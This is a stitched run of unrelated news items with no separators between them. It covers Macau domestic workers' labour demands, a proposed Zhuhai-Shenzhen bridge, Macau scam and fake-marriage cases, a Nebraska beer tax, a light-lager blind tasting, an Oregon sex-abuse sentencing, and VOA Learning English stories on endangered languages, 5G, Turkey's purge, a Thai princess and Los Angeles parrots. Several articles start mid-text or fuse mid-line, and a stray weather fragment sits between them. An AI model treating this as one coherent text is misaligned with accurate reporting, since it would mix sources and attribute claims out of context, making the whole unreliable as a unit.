We want them to know that were very serious about this. They said they will consider what we suggested and about the agency fees; they said they will monitor in the future, said Jassy Santos, chairperson of the Progressive Labor Union of Domestic Workers.

Workers are not consulted about the agency fees, [so] we said that if they are going to listen and consult us as well, we could probably help [each other], Santos added.

Questioned on whether the bureau had responded to their request for a minimum wage, both Palcon and Santos said that, according to DSAL, they could not set a minimum wage yet as they follow a certain market level for each industry and employer, given the wide range of salaries.

It depends on the situation of the employer so they set our salaries on that, said Palcon.

In 2017, the CE pledged that the universal minimum wage would become a reality in 2019, noting that it is one of the administrations priorities and objectives.

However, the migrant groups doubted such a promise.

They [DSAL] will try to tackle and discuss but theres no such thing. They will not. They have a measurement for the employer. They dont believe that there are workers who have salaries of MOP2,600 to MOP2,800, said Santos.

I am not satisfied at some point. We were there to give ideas of whats happening outside but instead, they talked about laws that [we already know]. We need a decent life as domestic workers, Santos added.

For now, the migrant groups will continue to call for their basic rights as domestic workers and will wait for an update from the DSAL.

According to the groups, DSAL pledged that the parties would work to set another meeting.

Federation calls for govt to protect citys domestic workers

The International Domestic Workers Federation (Hong Kong) believes that the absence of an official union groups for migrant workers remains a setback for non-residents  particularly domestic workers  conditions in the SAR.

Fish Ip, Regional Coordinator (Asia) of the federation supported the closed-door meeting of the migrant groups with the Labor Affairs Bureau yesterday, describing the event as historical.

Speaking to the press on the sidelines of the event, Ip remarked, if you dont recognize these associations, there will be problems when you have these new policies and you dont know whats happening.

It will be the government and society that will reap the consequences [] there can be serious abuse coming out. There should also be a renewal on this [policy] in regards to the formation of unions. [They should] allow migrants to form these unions so they can have representation, Ip added.

According to Ip, Macau should take note of the International Labor Organizations Convention 189, and ratify the convention.

Convention 189 is a convention concerning decent working conditions for domestic workers.

The workers voice must be heard. [] This is a basic requirement for all governments in the world. Then they [should] design their polices and laws [with] reference [to the] convention on domestic workers to ensure that workers are protected and not abused, said Ip.

Ip observed that the domestic workers situation in the SAR needed to be considered in a comprehensive way and that the DSAL should coordinate with the immigration department to make sure that other provisions under the immigration department do not set workers back in seeking justice.

Ip was referring to the six-month ban as well as the eight-day visa being granted to an employee who wished to resign without finishing a work contract. LVSome economic commentators and experts have expressed fears that plans for a Zhuhai-Shenzhen bridge would impact traffic on the Hong Kong-Zhuhai- Macau Bridge, while others say that there is nothing to worry about.

A plan to build a bridge connecting the two cities was first unveiled by Zhuhai mayor Yao Yisheng at the end of the annual session of Guangdongs legislature last month. Authorities in the neighboring city hope to start the planning of the bridge soon in a bid to boost the coastal zones economy.

The proposed bridge, which would be 46.5km in length, would be located midway between a bridge being built to connect Shenzhen and Zhongshan to its north and the Hong Kong-Zhuhai-Macau Bridge to its south. Under the plan, it is scheduled to open in 2024.

Some commentators have noted that the proposal was only made as mainland authorities vetoed Shenzhens inclusion in the HKZMB project, despite its petition. Zhuhai Party Chief Guo Yonghang said that the proposal had been in mind for a long time.

The official said the municipal governments of Zhuhai and Shenzhen would have to convince the central authorities that the project would be financially sustainable, environmentally friendly and not redundant, as cited in a report by the South China Morning Post.

Although some experts feared that the project will reduce traffic on the HKZMB, which has not met Hong Kongs daily traffic volume projections of 14,000 vehicles a day as of Jan. 15, some economists expressed that it is too early to assess any impact.

Currently, Hong Kong travelers can get to Shenzhen via high-speed train which opened in September and reach Shenzhen in less than 20 minutes.

Thus, some experts are also suggesting that travelers might prefer to take the high-speed rail to Shenzhen and Hong Kong rather than the cross-border bridge.

Mao Yanhua, a regional economy expert at Guangzhous Sun Yat-sen University, remarked, the Hong Kong-Zhuhai-Macau Bridge is a project promoting the one country, two systems principle and [is] therefore firmly supported by the central government.

Meanwhile, experts from Hong Kongs public transport system also said that they were not worried about the impact on Hong Kong once the project is approved, as freight moving between Hong Kong and the west bank of the Pearl River Delta only accounted for 5 percent of the citys total freight.

Lam Hoi-tat, president of the Hong Kong Container Tractor Owner Association, said that freight vehicles using the USD18.77 billion bridge are not allowed to enter Macau, thus expressing his belief that use of the bridge will improve when freight can also enter Macau.

The veteran added that the development of the Greater Bay Area would lead to more relaxation of license regulations and customs checks at the bridge, which would help boost traffic.

Qu Jian, a Shenzhen-based economist and vice-president of the China Development Institute think tank, supports the Zhuhai-Shenzhen bridge and expects that the proposed bridge will take away some traffic from the HKZMB.

The development of the bay area requires a more efficient flow of talent and a high-speed rail network that covers the whole Pearl River Delta, he said, noting that the low traffic flow on the HKZMB showed that it was a failure and a big lesson for cities in the Greater Bay Area.

He believed its failure was due to the fact that the 55km project did that include a link to Shenzhen.Kokomo, IN (46901)

Today

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Cloudy with occasional showers overnight. Thunder possible. Low around 70F. Winds S at 10 to 20 mph. Chance of rain 40%.A 20-year-old mainland man was reportedly scammed out of MOP8,848 in total over a request for the provision of sex by a prostitute, a Judiciary Police (PJ) spokesperson revealed during a press conference.

The man told the PJ he met a woman through a social network who said she would be able to provide other women to perform the service, acting as a middleman and receiving a commission of MOP50.

After he agreed to the deal, he was contacted by a man who was said to be the manager of the girl he had intended to hire, noting that the service would cost MOP600 but that he would have to pay a security deposit in the amount of MOP4,298.

He paid the amount and waited for further arrangements but instead of meeting the girl, he only received a message from her, calling for another deposit and arrangement fee in the amount of MOP4,200.

Again, allegedly failing to perceive the scam, he paid the amount, waiting until the next day for the girl to rendezvous at the agreed location. No one showed up and instead, another message calling for more payments came, upon which he finally suspected he had been scammed and filed a complaint to the police about the case. He claims to have lost a total of MOP8,848.

In a separate case reported by the Public Security Police Force, a resident over 40 years old is being accused of fake marriage, document forging and making false declarations to authorities.

The case, which extends back to 2014, was forwarded to the police after a tip-off from an unknown person to the Macau Identification Department.

The man was said to have met a woman from the mainland in a local casino in 2014. The man told the police that he had needed money for an emergency at the time, and that the woman proposed that they have a fake marriage for which she would pay him HKD120,000.

He accepted the deal and in December 2014 he went to register the marriage in Fuzhou, Fujian province, where the woman was from.

Later, in 2015, the woman contacted the man again saying that she was pregnant and she would give birth in Macau, and that the local man would acknowledge the child in the register to the authorities, so said child could have permanent residency in Macau. For the new agreement, she was said to have paid him an extra amount between HKD10,000 to 20,000.

The man accepted the deal again and the woman gave birth at the Kiang Wu Hospital in October 2015, where he signed all the documents as the legitimate father of the child, he revealed to the police during the investigation.

The police, for the time being, are not aware of the location of both the woman and the child, and only know that the child has not entered the region for a period of time. RMAngolas trade representations abroad will be closed by February 28 following an order issued by the Ministry of Trade and signed by Minister Jofre Van-Dunem Junior.

The offices being closed are in Spain, China, Portugal, Brazil, Belgium, the United States, Macau and South Africa, and the order sets out that the people responsible must adopt procedures leading to termination of their service under legal terms law and return to the country of the centrally appointed officials that are in office to date.

The order cited by the Angop news agency explains the measure with the need to bring the Angolan trade representatives abroad in line with a presidential decree approving the Organic Statute of the Ministry of Foreign Affairs to operate as Commercial Attache to the diplomatic missions and also covers local recruitment staff.

The document noted that as of February 28, commercial offices will no longer have staff expenses, under penalty of their respective manager being held accountable. MDT/MacauhubThe Macau International Airport (MIA) had the busiest Spring Festival in 2019 with a new record set in daily passenger volume in this period, the MIA public information department said yesterday.

The airport said during the holidays from February 5 to 10, or the first six days of Chinese Lunar New Year, MIA welcomed 180,000 passengers and handled over 1,300 flight movements, both grew by 18 percent respectively compared to the traffic in the same period of the lunar calendar of 2018.

The daily passenger volume record was set on February 10, when over 32,100 passengers were handled, breaking the single-day record since its operation. The extra flights operating to and from Macau during the Spring Festival was tripled over last year.

MIA said that it expanded the air network in 2019 by adding three new international routes in the first quarter, including Wenzhou of China, Chiang Rai of Thailand and Cebu of the Philippines. China Southern Airlines and Juneyao Airlines will also add new routes to Macau in the second quarter of 2019.

In the second and third quarters of 2019, the airport pledged to continue to have new carriers gradually adding new routes and operations to Macau.LINCOLN  Nebraskas craft brewers are in a froth over two bills that would increase the states excise taxes on beer to the highest in the nation.

Lawmakers sponsoring the proposals say that the hike would translate into only about 10 cents per mug of beer and that increasing taxes on beer, wine and liquor is part of the solution to lowering property taxes.

But a craft brewers group, representing 49 small breweries across the state, say the tax increase could cause layoffs and could end some operations if they are forced to absorb what amounts to a 345 percent increase in the tax. They have been inundating state senators with complaints, which might be the first of many they hear about ideas to raise some other taxes to lower property taxes.

Were really scared that if this passes, it will stop the growth of this industry, said Gabby Ayala, the executive director of the Nebraska Craft Brewers Guild. Other states that have high taxes dont have as many breweries  it stops people from wanting to invest and expand.By Ruth Anderah.

Boda rider at Katwe in Kampala has been ordered to pay a court fine of 50,000 shillings in default to serve one month imprisonment for fighting officers while executing their duties.

23 year Harman Kiwalabye was convicted by a grade one magistrate at City Hall Court Patrick Talisuna after pleading guilty to the offence of engaging in disorderly behavior.

While sentencing him the magistrate ruled that the sentence is to serve of lesson to him and to deter other would be offenders from committing the same offense.

Prosecution states that on February 8th 2019 at Katwe, Kiwalabye did incite fellow boda riders and public to fight officers while executing their lawful duties.How we did it The three brewers  Jim Cibak of Revolution Brewing, Matt Gallagher of Half Acre Beer Co. and Brian Pawola of Pollyanna Brewing  eagerly signed on for the tasting. Each declared a love for any beer that's light, refreshing and well-made, no matter who makes it. The wrinkle to the tasting, they were told, was that the classic brands  like Bud, Miller and Coors  would be doing battle with similar beers from craft breweries. Though light lagers have traditionally been the domain of Big Beer since the 1970s, craft breweries have increasingly waded into the realm of easy-drinking accessibility. After decades of staking their claims on piney and bitter, sour and sweet  everything that Big Beer wasn't  craft brewers have taken a recent turn toward what is sometimes known as beer-flavored beer. No onslaught of hops. No cascade of sugary ingredients. No lip-pursing sourness. Just easy-drinking refreshment. You know, like Bud, Miller and Coors. I assembled 15 beers that could reasonably be called "light lagers." Some have "light" (or "lite") right there in the name. Others are a brewery's interpretation of a light, easy-drinking lager. They were served to the panel in random order, blindly. Was it Miller Lite or New Glarus? Bud Light or Founders? Our panel did not know. (Though we will reveal the beers for you here, as we go, for your reading ease.) We tasted the beers across more than two hours in a private room at Half Acre's brewery on Balmoral Avenue. I grabbed them one by one from an ice chest and poured the (mostly) pale yellow liquids out of view of the panel into the same short clear plastic cups Half Acre uses for blind evaluations of its own beers. Using a grading scale of 1 (lowest) to 5 (highest), our panel members spent a couple of hours in search of the lightest, cleanest and most refreshing beers on a recent warm summer afternoon.

No flabbiness, please Beer No. 1 was a classic, and I wondered if it gained an unfair advantage by going first and dancing across clean palates? Perhaps. But our judges universally applauded it for doing the things a light beer should: It boasted just a touch of malt character while remaining, in their words, "clean" and "refreshing." Pawola said it was "dry and bubbly, with a touch of malt." Cibak admired its "crisp bitterness." Most important, Gallagher said, it wasn't "flabby"  a crucial flaw among many light beers. What makes for a flabby light beer? "Lacking bitterness balance to the sweetness," Gallagher said. Coors Light, they said, was anything but flabby. They quite liked its combination of malt character, refreshment and balance. Beer No. 2, another light beer mainstay, also avoided flabbiness. And in last year's macro lager tasting, it fared quite well. However, Miller Lite didn't do as well this time. It was clearly lighter than Coors Light, and featured less malt character, which led to less of a sense of balance. Though quite clean, Miller Lite was an entirely one-note beer. As Gallagher said, it was "lacking any complexity" even though it was "still crisp." The first curveball came with beer No. 3. Of all of the craft entries into light beer, Founders Brewing's Solid Gold has arguably had the most buzz, in part because it made the most forceful entry, landing in 15- and 24-packs (just like Big Beer) with aggressive pricing to match (just like Big Beer). It is the clearest example of craft beer trying to play Big Beer's game. Though Founders doesn't tout Solid Gold as "light," that's clearly a piece of the intent, with an alcohol volume (4.4 percent) closer to Bud Light (4.2 percent) than Budweiser (5 percent). All three members of the panel examined Solid Gold in prolonged silence. Then all at once they keyed in on its vast difference from the first two beers: Solid Gold is darker and has a bit of haze. It was clearly a craft effort at "lightness." "This is pretty radically different  and not in a bad way," Cibak said. "This doesn't taste like a traditional light lager," Pawola said. Ah! And there we had the difference between light lagers from craft and Big Beer companies: Craft versions tended not to taste like what we think of as "traditional." With one exception  keep reading!  each craft entry put its own spin on the idea of a light lager. Rarely do they simply try to approximate Bud, Miller and Coors. In the case of Solid Gold, Cibak said the difference made it more reminiscent of an easy-drinking golden ale  more body, more malt, more hops. "It's almost fruity," Gallagher said. "I wonder if that's the yeast. I probably enjoy drinking this more than the others because of its bigger, hoppier flavor. Makes it more drinkable to me." Solid Gold scored uniformly well, turning a low-alcohol lager into a far bolder proposition than the panel expected. Beer No. 4 was a more conventional light beer than Solid Gold, but still had a fair bit going on for the genre, showing "lots of yeast character," Cibak said, and veering to "the sweet side of balance" though tempered by a vague "lingering bitterness," according to Gallagher. Everyone found it average if not slightly above, though it would probably have been even better with a squeeze of fresh lime  it was Corona Light.

Extreme lightness Beer No. 5 returned to the vein of classic light lagers, though to the extreme: even less color and body than most of its competitors. "It's so light and clear," Gallagher said. But that's the point of Michelob Ultra Light, which prides itself on consummate lightness  all the way down to a piddling calorie count that makes it one of the fastest-growing major brands in the nation. Cibak observed a "slight egginess" to the aroma, which he suspected was a byproduct of lager yeast fermentation. I said it sounded like a flaw  and aren't the big beer companies above such flaws? Even if the beer is underwhelming, consistency and technical quality are what they supposedly do best. "I'd imagine if that's what it tastes like, that's what they want it to taste like," he said. "Very little comes out of there that's not intentional." No one much cared for the beer; there wasn't much to care for. That may be the entire point of Michelob Ultra Light. But it doesn't make for an enjoyable beer. Based on its color, beer No. 6 elicited even more raised eyebrows than Solid Gold  it was amber-colored, inching toward brown, and easily the darkest beer in our tasting. "Looks like Anti-Hero," Cibak said of his brewery's flagship IPA. Was he bothered by a light beer  one that employs the word prominently on its label  that's so dark in color? "Doesn't bother me at all," he said. It was Sam Adams Light, a beer that far predates the rest of craft brewing's embrace of light beer; it was first released in 2001. In that way, Sam Adams Light seemed very much like a throwback, a craft version of light at a time that the classic light beers were still something to shun at every turn. And so it was for Sam Adams Light, whose flavor backed up the appearance. Cibak described it as "toasty, caramel flavor." Pretty impressive for 4 percent alcohol  even less than the evanescent Michelob Ultra (which is 4.2 percent). Cibak and Pawola both approved, but Gallagher wasn't a fan, detecting a "soylike, savory-ness"  just about the last thing he wanted from a light beer. Beer No. 7 was more light beer business as usual. Words such as "neutral, "like drinking air" and "characterless  in a good way" were tossed about. It was Keystone Light, and it finished squarely in the middle of our rankings. Beer No. 8 did, too, tying Keystone Light for most middling. All three brewers found the beer inoffensive and balanced enough, but nothing special. They declared Miller High Life Light to be worthy of a hot day at a ballgame. But that's about it.

Quite naked Another curveball awaited with beer No. 9  it's not even available outside of Wisconsin. That, of course, refers to the great New Glarus Brewing. I had been in Wisconsin the previous week, and my beer shopping spree included a New Glarus variety pack. It wasn't until I cracked open a bottle of Totally Naked at home that it occurred to me to add it to the tasting. But it is, in fact, a nearly perfect light beer  nothing fancy, but refreshing and supremely balanced, clocking in at 4.2 percent alcohol, just like the major light beer brands. While Pawola and Cibak sniffed the mystery brew, Gallagher declared it among his favorites. "Full-flavored, but light," he said. "Easy to drink. Crisp." Pawola said it had "a full, round mouthfeel"  impressive for such a light beer. Cibak called it "refreshing and neutral," which he meant as a compliment. Gallagher didn't heap praise on beer No. 10, though he did declare it "familiar." The panel detected a bit more fruitiness from it than most others in our tasting, which they attributed to more malt or yeast character, or perhaps both. The fruitiness didn't make for a more interesting or enjoyable beer, however; it got in the way of refreshment and accessibility. As for the familiarity, there was a reason for that. It was the nation's top-selling beer: Bud Light. It wound up as one of our lowest-rated beers. Beer No. 11 was maybe the most unique of the afternoon, and the epitome of a craft take on light lager: bright, clean and a lean 4.7 percent alcohol, but so interesting as to earn an asterisk. It was quite a different proposition from Bud, Miller or Coors. Hand Miller Lite drinkers a Totally Naked, and they'd drink it happily. Hand those same Miller Lite drinkers this beer, and they might love it  or they might be confused. The tasters uniformly liked Spiteful Lager, made by Chicago's tiny Spiteful Brewing. It was refreshing and faultlessly crisp, with fruity overtones reminiscent of a refreshing white wine or perhaps even cider. Everyone found it an enjoyable, curious outlier in the world of light lagers.

Taste it fresh Up next as beer No. 12 was another craft entry. It had been canned less than three months earlier, but was unfortunately already showing signs of age. The culprit was most likely a lack of refrigeration and, indeed, I'd bought the sixpack off a warm store shelf. Still, once tasters waded past the cardboardlike oxidation, the beer stood out as a gem. It was balanced and had "full body and flavor," Gallagher said. Cibak declared it "a nice drinking beer; ignoring the oxidation, I can tell it's a good beer." "Would love to taste this one fresh," he said. It was in fact a beer that Cibak once made, when he worked at Firestone Walker Brewing in central California between 2006 and 2008: Firestone Lager. It was a smaller-batch beer back then, but with the rise of the craft light lager, Firestone Walker scaled it up for broad release last year. The fact that its taste had fallen off so quickly was less a criticism of the beer and more a testament to the standards of craft brewing  and the importance of both freshness and refrigeration. "There's more malt involved and more hops involved," Cibak said. "Those things tend to oxidize quicker." A solution that the big breweries embrace, craft breweries typically shun: adding chemicals to stabilize flavor and appearance. "That's the thing about craft beer," Cibak said. "It's fresher." Beer No. 13 beer was a bit of a lark. As I drove past a Trader Joe's on the morning of the tasting, I decided to see which of its beer brands included the word "light." There was only one: Trader Jose Light  the supermarket's version of a light Mexican beer. The panel immediately picked up on it as an uninspired version of Corona  all the way down to the prominent skunk character. Gallagher admitted a perverse enjoyment of skunky beer, but still didn't care for it. "A little flabby," he said. Up next as beer No. 14 was another middling entry, with a bit more yeast character than most other options but little else to distinguish it. It was Busch Light, the ninth-biggest selling brand in the U.S. Finally, we reached our last beer  beer No. 15. The panel found it "sweet, simple, nothing special" (Gallagher), "very light all around" (Pawola) and "very neutral" (Cibak). It was yet another Corona brand  the first new Corona brand in nearly 30 years  Corona Premier. It's a beer aimed at men, unlike Corona Light, which is targeted more to women. It didn't work for these men. Because the first beer they tasted  Coors Light  appeared to be the favorite among the major brands, we decided to taste it again, to be sure that it didn't have an advantage based on simply being the first beer sampled. However, another taste only reinforced their decision. "Pretty good mouthfeel," Cibak said. "I like the malt character," Pawola said. "It's malty without being heavy," Gallagher added. "Pretty simple and easy to drink." It was confirmed: Coors Light was the favorite of the big brands, tied with three craft beers (Solid Gold, Firestone Lager and Totally Naked), and with another craft beer (Spiteful Lager) and Corona Light (which, I'll be honest, shocked me) sliding in just behind. The big beer companies have dominated the world of light lagers for so long, I wouldn't have been surprised to see them dominate this blind tasting too. But no. Craft breweries have proved themselves capable of brewing the lightest beers, just as they helped introduce us to the joys of piney, fruity IPAs; bold, rich stouts; and everything in between. Perhaps it should be no surprise that craft breweries have successfully created alternatives to the light lagers that have dominated store shelves and tap handles for decades. Doing things differently  and, in many cases, better, with fresher and more interesting ingredients  has always been the point.A Lebanon man was sentenced to more than 10 years in prison for two sex crimes on Monday afternoon in Linn County Circuit Court.

Kurtis Eugene Self, 58, had pleaded no contest to first-degree sex abuse and attempted first-degree sex abuse, crimes from two separate cases, on Friday.

Five other sex crimes charges were dismissed as part of the negotiated settlement.

The first-degree sex abuse allegedly occurred in 2010, and the victim was a girl younger than 14. The attempted sex abuse occurred in July, and the victim was a minor female.

Self knew both victims.

He will not be eligible to earn time off for six years of the prison stint. Self will be able to reduce a portion of the remaining four year sentence in the custody of the Oregon Department of Corrections.

In December 1994, Self was convicted after pleading no contest to two counts of first-degree sex abuse in two separate cases. Both victims were girls under the age of 12, and the crimes occurred between 1989 and 1991, according to court paperwork.

Kyle Odegard

Love 0 Funny 0 Wow 0 Sad 0 Angry 2Kellum suggested the commissioners hold off on their decision and hold additional meetings with city officials. He said the city and county need to work together to determine how to treat the urban fringe.

The more we can work together," he said, "the better the system works."

As an example, he pointed to how the Linn County Parks Department works with state and federal agencies.

Nyquist pointed out that in 1988, the city and county approved an Urban Growth Management Agreement.

It outlined a joint management approach for the citys urban growth boundary and the Albany fringe, which are part of the Albany Comprehensive Land Use Plan.

The agreement states in part that the county shall have authority to interpret city comments and city standards in a manner which the county deems consistent with the citys Comprehensive Plan, city and county development regulations and apply such in a manner which the county deems appropriate to the scale of the development proposed. Where the city has commented on county actions, the county shall inform the city of the countys final action.Experts say there are about 6,500 languages spoken throughout the world. But the United Nations estimates that about half of these languages are in danger of disappearing.

The U.N. cultural agency, or UNESCO, lists languages it considers endangered on its Atlas of the Worlds Languages in Danger. UNESCO collects information on the languages and then increases efforts meant to prevent them from dying out.

One non-profit organization seeking to save world languages is a New York-based group called Wikitongues. Officials from Wikitongues say the organization has a simple goal: to provide the tools and support that people need to save their languages.

Daniel Bogre Udell is the co-founder of Wikitongues. He told VOA that when a language disappears, many other things can go away as well. For example, parts of a communitys culture, knowledge and identity can also be lost.

Because of this, Udell believes the process of bringing languages back must be done by community members themselves, from the ground up, he said.

There is no way an outside organization can save someones language for them.

How it works

Wikitongues was launched in 2016 as an open internet collection of world languages. The self-described community is operated by volunteers from around the world. The collection is in the form of language videos that people add to the Wikitongues website.

Wikitongues says that, even with the internets wide reach, less than 1 percent of all languages are actively represented online. The organization seeks to serve as an internet resource to connect users who wish to keep a language alive.

There are currently more than 400 languages and dialects represented on Wikitongues YouTube channel. Some, like English, Farsi and Mandarin, are spoken by hundreds of millions of people. Others are more uncommon. Bora, for example, is spoken by only a few thousand people in the Amazon regions of Peru and Colombia.

Udell says more than 1,500 people from 70 different countries have added videos to the system.

We have people from India who record dozens of languages, which is beyond their own, he said.

We have another volunteer from Scotland who is one of the last speakers of a variety of Scottish dialects, Udell added. Hes in the process of reclaiming them, revitalizing, and building a dictionary for them.

Udell says there are many examples of languages that disappeared but later returned to use. Hebrew went extinct in the 4th century BC, and was revived in the 1800s. Now once again, its the mother tongue of half of the worlds Jewish population.

Another example is the Tunica-Biloxi Native American tribe in the southern U.S. state of Louisiana. The tribes language went extinct in the 1940s. But Udell says the tribe was able to successfully build up a language revival in recent years.

One of Wikitongues volunteers is Theron Musuweu Kolokwe, who lives in Namibia. His native language is Subiya, which is spoken by about 30,000 people along the Zambezi River in Namibia, Zambia and Botswana.

I think in my language," Kolokwe said. "I dream in my language. Its the language that I was born into. I didnt have the choice to speak it.

However, he does not get the chance to speak his native language every day. Like many other educated people from his area, he speaks a lot of English and Afrikaans.

Kolokwe is hoping his involvement with Wikitongues can help keep Subiya and other African languages from going extinct.

I want the world to know about my language, Kolokwe said.

But his goal goes beyond just sharing his language with others through video. He is also working to create a dictionary and language teaching materials that can be used in schools.

Im Bryan Lynn.

Faiza Elmasry reported on this story for VOA News. Bryan Lynn adapted her report for Learning English, with additional information from Wikitongues.org. Ashley Thompson was the editor.

What things do you think can be done to try to save dying languages around the world? We want to hear from you. Write to us in the Comments section, and visit our Facebook page.

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Words in This Story

endangered  adj. used to describe something that has become very rare and that could die out completely

online  adj. connected to or involving a computer or telecommunications system

dialect  n. a form of a language spoken in a particular area and that uses some of its own words, grammar, and pronunciations

revitalize  v. make something more active or exciting

extinct  adj. when something no longer exists

revive  v. bring something back from the pastThere has been a lot of publicity recently surrounding 5G, the next generation of wireless technology for the world. But what is this technology and how might it change our lives?

What is 5G?

5G stands for fifth generation, meaning the next step in the progression of technology to replace the current 4G system. 4G was the replacement for 3G, which came after 2G, and so on.

These systems are wireless computer networks.

Earlier G systems were designed to improve mobile communication operations. Each new technology brought major improvements in speed and greatly increased network capacity.

The new 5G system promises more of the same. It is expected to permit more users to do more things -- at a faster rate. Higher internet speeds and larger network capacity should result in better performance for device users connected to 5G.

However, technology experts say there is a major way that 5G is different than the earlier systems. It will move well beyond mobile network technology to affect many more devices and industries than other G versions.

When will it be available?

Before we can all use 5G, wireless companies and phone makers will have to complete and deploy a whole new system. New phones and communication equipment must be built.

American wireless companies have been preparing for the new system for some time. They have been creating new network equipment and buying broadcasting space to carry 5G signals. They have built new 5G antennas to serve American cities and towns. Wireless providers will invest at least $275 billion in 5G-related networks in the United States, the industry group CTIA reported.

The first U.S. launch of 5G is expected to happen sometime this year. Industry experts expect it will take a few more years to go nationwide. It will take even longer to reach rural areas.

China is expected to launch 5G sometime in 2020, while European nations are likely to build their systems more slowly over time.

In the United States, the first 5G-ready phones should be available in the first half of this year. The first 5G iPhone, however, is not expected until 2020.

4G phones will work on 5G networks, but not at 5G speeds.

What can 5G do?

Wireless industry groups say 5G will help fuel future smart cities by connecting sensor networks. Such networks will be able to control vehicle traffic and quickly identify streetlight outages.

5G is also expected to connect self-driving cars and support new technologies involving virtual reality. Higher 5G speeds could also permit doctors to commonly perform remote medical operations. Factories and businesses could use 5G technology to increase automation and improve the collection of information.

What are the security concerns?

More data -- and many more kinds of data -- will be traveling across 5G networks. Much of the data could contain private details about individuals, businesses or government organizations. The increased data flow would give internet attackers a lot more possibilities to steal and misuse data.

In addition, the wider use of a 5G wireless network means any breakdown of the system would have more widespread and severe results. Such difficulties could affect public safety as well as world economic activity.

Government system failures could create national security risks. A failure during a doctors remotely guided operation could lead to the death of a patient. Or a network breakdown could cause self-driving vehicles to crash.

The 5G network has caused tensions between the United States and China. The U.S. government has urged American companies not to use Chinese technology in communications networks because of security concerns. It has also pressed other countries to ban Huawei, a Chinese telecom company, from building 5G networks.

U.S. officials have long suspected the Chinese government could use Huawei network equipment to help carry out spying activities.

Huawei has rejected such accusations.

Im Bryan Lynn.

Bryan Lynn wrote this story for VOA Learning English, based on reports from the Associated Press, Reuters, Agence France-Press and online sources. Ashley Thompson was the editor.

Are you looking forward to using 5G on your phone and in other areas of your life? Write to us in the Comments section, and visit our Facebook page.

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Words in This Story

network  n. system permitting people to communicate and share information through the internet using a computer or mobile phone

capacity  n. the largest amount something can handle

antenna  n. piece of metal used for receiving television or radio signals

sensor  n. device that detects or senses heat, light, sound, etc.

virtual reality  n. computer images and sounds that make you feel an imagined situation is real

remote  adj. far away from where something is happening

automation  n. the controlling of something using machines and not peopleReports from Turkey say the government has launched one of its largest operations against people suspected of supporting Muslim clergyman Fethullah Gulen.

State media say Turkish officials approved orders for the arrest of 1,112 people. The operation was related to reports of cheating in police examinations.

Officials accuse Gulen of leading efforts to overthrow the government in 2016. The new operation shows the government is not letting up on its fight against those who plotted the overthrow attempt.

More than two years ago, soldiers used warplanes, helicopters and tanks in an effort to seize power. More than 250 people were killed in the failed coup.

Gulen is a former ally of President Recep Tayyip Erdogan. The clergyman has lived in exile in the United States since 1999. He has denied involvement in the coup.

The Turkish operation related to a police force examination in 2010 for those seeking to become deputy police inspectors. There are claims that some of those who took the exam received the questions before taking the test, the state-owned Anadolu news agency reported.

Interior Minister Suleyman Soylu said on Sunday a big operation was coming against Gulen supporters. We will finish them off, he said.

The government claims that, over many years, they took control of state organizations, such as the security forces, often by helping people cheat on exams.

Since the coup attempt, the Turkish government has carried out a deep purge of state agencies. Government lawyers have launched many investigations against those suspected of links to Gulen.

Turkeys Western allies have criticized the campaign, which began under a state of emergency that was declared after the coup. It remained in effect until July of 2018.

Erdogans critics accuse him of using the failed coup as a way to suppress opposition. The Turkish government says the measures are necessary to fight threats to national security.

More than 77,000 people have been jailed without trial since the failed coup. The government has removed or suspended 150,000 civil and military personnel.

Defense Minister Hulusi Akar has said more than 15,000 military personnel have been dismissed since the coup. They are said to include 150 high-level military officials.

The government has also taken control of hundreds of businesses accused of links to Gulen and his supporters. Also, it has shut down more than 130 media companies as part of the purge.

I'm Susan Shand.

Daren Butler reported this story for the Reuters news agency. Susan Shand adapted the story for VOA Learning English. George Grow was the editor.

Write to us in the Comments Section or on our Facebook page.

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Words in This Story

coup  n. a sudden attempt by a small group of people to take over the government usually through violence

purge  v. to remove people from an area, country or organization, often in a violent and sudden wayThailand saw several eventful days after a princess name was officially entered -- and then struck down -- as a candidate for prime minister. Princess Ubolratana Mahidol is the older sister of Thailands king, Maha Vajiralongkorn.

Observers say the move adds to the confusion about the upcoming March 24 election. The country has been under military rule since 2014. Next months election could return it to rule by an elected leader, even if it is a largely authoritarian government that is friendly to the military.

Can the princess enter politics?

The princess short candidacy was the first time a member of the royal family had tried to enter a political election. The princess and her relatives have traditionally been expected to rise above the usual political fighting. Official rules also prevent the royal family from participating directly in party politics.

But Ubolratana says she does not have to follow those rules because she gave up her royal name in 1972 to marry an American.

Her candidacy was seen as a challenge to current Prime Minister Prayuth Chan-ocha. He is a retired general who has led the country under military rule since 2014, when his group seized power. He said he was competing in the upcoming election to keep law and order.

But the princess candidacy was quickly struck down. Her brother, the king, called it inappropriate and unconstitutional. Then the Election Commission disqualified her, saying members of the royal family must remain politically neutral.

The party that nominated the princess said in a statement that it accepted the kings order. The party, called Thai Raksa Chart, is led by former Prime Minister Thaksin Shinawatra. He and his group have been in a years-long conflict with the royal family and people who support the monarchy. Thaksin was ousted in a 2006 coup after being accused of abuse of power and disrespect for the monarchy.

George McLeod is a political risk expert based in Thailand. He said that by putting forward the princess as a prime minister, Thaksin took a chance and lost.

But a professor for Southeast Asian Studies at Kyoto University had another idea. Pavin Chachavalpongpun said Thaksin may have achieved exactly what he wanted: forcing the Thai monarchy to engage publicly with politics, and showing conflict within the royal family.

Im Kelly Jean Kelly.

Kelly Jean Kelly adapted this story for Learning English based on reports by VOA News and the Associated Press. Ashley Thompson was the editor.

________________________________________________________________

Words in This Story

royal - adj. of or relating to a king or queen

challenge - n. an action, statement, etc., that is against something

inappropriate - adj. not right

disqualify - v. to stop or prevent someone from doing, having, or being a part of something

At sunset every day, loud sounds can be heard coming from the sky in a community just east of Los Angeles.

The noises are from parrots. The colorful birds have become part of everyday life there.

The parrots leave their waste everywhere, said Havolynn Rose Owaleon. But she and many other community members have gotten used to the birds.

Owaleon said, "They are not quiet at all, but you know, its something that you listen for. Because if I didnt hear them on a daily basis, then I know something is really wrong.

Flying immigrants

Red-crowned parrots are now part of the ecosystem in Southern California. Their ancestors came from Tamaulipas, Mexico, where the parrots are now endangered.

The birds were often killed in their native land. But in the United States, they were sold to people as pets. Some of the parrots escaped or were released by their owners.

They have since reproduced and grown in number in an area with large numbers of people.

"They are good at making a habitat for themselves in major cities, and this is what happened in Pasadena and East L.A. So, these are birds that live pretty much exclusively off of trees that are also not native to our area," said Ursula Heise. She teaches at the University of California Los Angeles (UCLA) Department of English and at the Institute of the Environment and Sustainability.

Since arriving in Southern California, the red-crowned parrots have become such permanent fixtures that they are on the California Bird Records Committee's list of birds in the state.

Theyve been naturalized as California citizens, said Heise.

